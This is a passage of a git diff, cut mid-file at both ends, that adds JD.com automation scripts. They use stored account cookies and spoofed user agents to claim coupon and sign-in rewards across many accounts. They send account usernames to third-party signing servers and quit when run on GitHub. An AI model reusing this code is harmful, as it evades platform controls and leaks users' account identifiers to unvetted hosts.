Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_ccSign.js b/jd_ccSign.js new file mode 100644 index 0000000..a18f126 --- /dev/null +++ b/jd_ccSign.js @@ -0,0 +1,311 @@ +/* +领券中心签到 + +@感谢 ddo 提供sign算法 +@感谢 匿名大佬 提供pin算法 + +活动入口:领券中心 +更新时间:2021-08-23 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#领券中心签到 +15 0 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_ccSign.js, tag=领券中心签到, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "15 0 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_ccSign.js,tag=领券中心签到 + +===============Surge================= +领券中心签到 = type=cron,cronexp="15 0 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_ccSign.js + +============小火箭========= +领券中心签到 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_ccSign.js, cronexpr="15 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('领券中心签到'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +let allMessage = ''; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdSign() + await $.wait(2000) + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdSign() { + await getCouponConfig() +} + +async function getCouponConfig() { + let functionId = `getCouponConfig` + let body = {"childActivityUrl":"openapp.jdmobile://virtual?params={\"category\":\"jump\",\"des\":\"couponCenter\"}","incentiveShowTimes":0,"monitorRefer":"","monitorSource":"ccresource_android_index_config","pageClickKey":"Coupons_GetCenter","rewardShowTimes":0,"sourceFrom":"1"} + let sign = await getSign(functionId, body) + return new Promise(async resolve => { + $.post(taskUrl(functionId, sign), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getCouponConfig API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + let functionId, body + if (data.result.couponConfig.signNecklaceDomain) { + if (data.result.couponConfig.signNecklaceDomain.roundData.ynSign === '1') { + console.log(`签到失败:今日已签到~`) + } else { + let pin = await getsecretPin($.UserName) + functionId = `ccSignInNecklace` + body = {"childActivityUrl":"openapp.jdmobile://virtual?params={\"category\":\"jump\",\"des\":\"couponCenter\"}","monitorRefer":"appClient","monitorSource":"cc_sign_android_index_config","pageClickKey":"Coupons_GetCenter","sessionId":"","signature":data.result.couponConfig.signNecklaceDomain.signature,"pin":pin,"verifyToken":""} + } + } else { + if (data.result.couponConfig.signNewDomain.roundData.ynSign === '1') { + console.log(`签到失败:今日已签到~`) + } else { + let pin = await getsecretPin($.UserName) + functionId = `ccSignInNew` + body = {"childActivityUrl":"openapp.jdmobile://virtual?params={\"category\":\"jump\",\"des\":\"couponCenter\"}","monitorRefer":"appClient","monitorSource":"cc_sign_android_index_config","pageClickKey":"Coupons_GetCenter","pin":pin} + } + } + if (functionId && body) await ccSign(functionId, body) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function ccSign(functionId, body) { + let sign = await getSign(functionId, body) + return new Promise(async resolve => { + $.post(taskUrl(functionId, sign), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} ccSign API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data.busiCode === '0') { + console.log(functionId === 'ccSignInNew' ? `签到成功:获得 ${data.result.signResult.signData.amount} 红包` : `签到成功:获得 ${data.result.signResult.signData.necklaceScore} 点点券,${data.result.signResult.signData.amount}`) + } else { + console.log(`签到失败:${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getSign(functionId, body) { + return new Promise(async resolve => { + let data = { + functionId, + body: JSON.stringify(body), + "client":"android", + "clientVersion":"10.3.2" + } + let HostArr = ['jdsign.cf', 'signer.nz.lu'] + let Host = HostArr[Math.floor((Math.random() * HostArr.length))] + let options = { + url: `https://cdn.nz.lu/ddo`, + body: JSON.stringify(data), + headers: { + Host, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }, + timeout: 30 * 1000 + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getSign API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getsecretPin(pin) { + return new Promise(async resolve => { + let data = { + "pt_pin": pin + } + let HostArr = ['jdsign.cf', 'signer.nz.lu'] + let Host = HostArr[Math.floor((Math.random() * HostArr.length))] + let options = { + url: `https://cdn.nz.lu/pin`, + body: JSON.stringify(data), + headers: { + Host, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }, + timeout: 30 * 1000 + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getsecretPin API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +function taskUrl(functionId, body) { + return { + url: `${JD_API_HOST}?functionId=${functionId}`, + body, + headers: { + "Host": "api.m.jd.com", + "Connection": "keep-alive", + "User-Agent": "okhttp/3.12.1;jdmall;android;version/10.1.2;build/89743;screen/1080x2030;os/9;network/wifi;", + "Accept": "*/*", + "Referer": "https://h5.m.jd.com/rn/42yjy8na6pFsq1cx9MJQ5aTgu3kX/index.html", + "Accept-Encoding": "gzip, deflate", + "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "Cookie": cookie, + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_cfd.js b/jd_cfd.js new file mode 100644 index 0000000..6966c8d --- /dev/null +++ b/jd_cfd.js @@ -0,0 +1,1827 @@ +/* +京喜财富岛 +cron 1 * * * * jd_cfd.js +更新时间:2021-9-11 +活动入口:京喜APP-我的-京喜财富岛 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜财富岛 +1 * * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js, tag=京喜财富岛, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true + +================Loon============== +[Script] +cron "1 * * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js,tag=京喜财富岛 + +===============Surge================= +京喜财富岛 = type=cron,cronexp="1 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js + +============小火箭========= +京喜财富岛 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js, cronexpr="1 * * * *", timeout=3600, enable=true + */ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: 